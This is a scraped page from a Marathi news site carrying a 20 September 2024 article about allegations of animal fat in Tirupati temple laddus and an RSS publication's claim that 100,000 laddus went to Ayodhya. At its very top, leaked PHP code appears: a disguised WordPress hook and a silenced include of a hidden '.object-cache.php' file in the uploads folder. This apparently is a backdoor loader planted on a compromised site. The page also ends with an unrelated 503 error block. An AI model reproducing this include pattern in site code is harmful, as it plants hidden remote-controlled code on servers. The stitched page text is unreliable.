add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); Tirupati Controversy: तिरुपती प्रसादात प्राण्यांची चरबी, आरएसएस भडकलं; १ लाख लाडू अयोध्येला पाठवल्याचाही दावा – SOCH INDIA

Forgot Password New Account
Menu

देश
Tirupati Controversy: तिरुपती प्रसादात प्राण्यांची चरबी, आरएसएस भडकलं; १ लाख लाडू अयोध्येला पाठवल्याचाही दावा

  • 72 Views
  • September 20, 2024
  • By
  • in देश, समाचार
  • Comments Off on Tirupati Controversy: तिरुपती प्रसादात प्राण्यांची चरबी, आरएसएस भडकलं; १ लाख लाडू अयोध्येला पाठवल्याचाही दावा
  • Edit
nobanner

तिरुपती बालाजी मंदिरातील प्रसादाच्या लाडवांमध्ये प्राण्यांची चरबी असलेले तेल वापरल्याचा वाद वाढतच चालला आहे. आता यासंदर्भात आणखी एक मोठी माहिती समोर येत आहे. आरएसएसचे मुखपत्र पांचजन्यने तिरुपती मंदिरातील लाडवांच्या मुद्द्यावर मोठा दावा केला आहे. तिरुपती तिरुमला मंदिरातून १ लाख प्रसादाचे लाडू हे अयोध्येला पाठवण्यात आल्याचा दावा या मुखपत्रात प्रसिद्ध झालेल्या वृत्तात करण्यात आला आहे. त्यामुळे आता हा वाद वाढण्याची शक्यता आहे.

आरएसएसचा मोठा दावा

अयोध्येतील राम मंदिरात प्राण प्रतिष्ठापणेच्या दिवशी म्हणजेच २२ जानेवारी २०२४ ला तिरुपती मंदिरातून १ लाख लाडू पाठवण्यात आल्याचा दावा या अहवालात करण्यात आला आहे. प्राण प्रतिष्ठापणेनंतर अयोध्येत भाविकांमध्ये हे लाडू वाटण्यात आले होते. तिरुपती मंदिराच्या प्रसादात गोमांस, डुकराची चरबी आणि माशाचे तेल मिसळल्याचं तपासात समोर आले आहे. हे सर्व आंध्र प्रदेशातील तत्कालीन जगनमोहन रेड्डी सरकारच्या कार्यकाळात घडलं होतं, असंही यात म्हटलं गेलं आहे.

तिरुपती प्रसादाच्या लाडवात भेसळ, प्राण्यांची चरबी, लार्ड अन् फिश ऑइल

टीडीपीचे प्रवक्ते अनम वेंकट रमण रेड्डी यांनी दावा केला आहे की, प्रसिद्ध श्री व्यंकटेश्वर स्वामी मंदिराचे व्यवस्थापन करणाऱ्या तिरुमाला तिरुपती देवस्थानम्स (TTD) ने पुरवलेल्या तुपाच्या नमुन्यांमध्ये भेसळ असल्याचं गुजरात येथील पशुधन प्रयोगशाळेने सिद्ध केलं आहे. त्यांनी या कथित प्रयोगशाळेचा अहवाल दाखवला आहे, ज्यामध्ये दिलेल्या तुपाच्या नमुन्यात प्राण्यांची चरबी, लार्ड (डुकराच्या चरबीशी संबंधित) आणि फिश ऑइल असल्याचा दावा करण्यात आला होता. सॅम्पलिंगची तारीख ९ जुलै २०२४ होती आणि प्रयोगशाळेचा अहवाल १६ जुलैला आला होता.

हे समोर येताच यावरुन राजकीय वर्तुळात नवा वाद उद्भवला आहे. विरोधकांकडून जगनमोहन रेड्डी आणि त्यांच्या सरकारवर टीका केली जात आहे. तसेच, भाविकांमध्ये यामुळे मोठा संताप पाहायला मिळत आहे.

आंध्र प्रदेश सरकार तिरुपती मंदिराचे व्यवस्थापन करते

प्रसिद्ध श्री व्यंकटेश्वर स्वामी मंदिराचे व्यवस्थापन करणाऱ्या आंध्र प्रदेश सरकार किंवा तिरुमाला तिरुपती देवस्थानम्स (TTD) यांच्याकडून प्रयोगशाळेच्या अहवालावर अधिकृतपणे कुठलीही माहिती देण्यात आलेली नाही.

503 Service Unavailable

Service Unavailable

The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.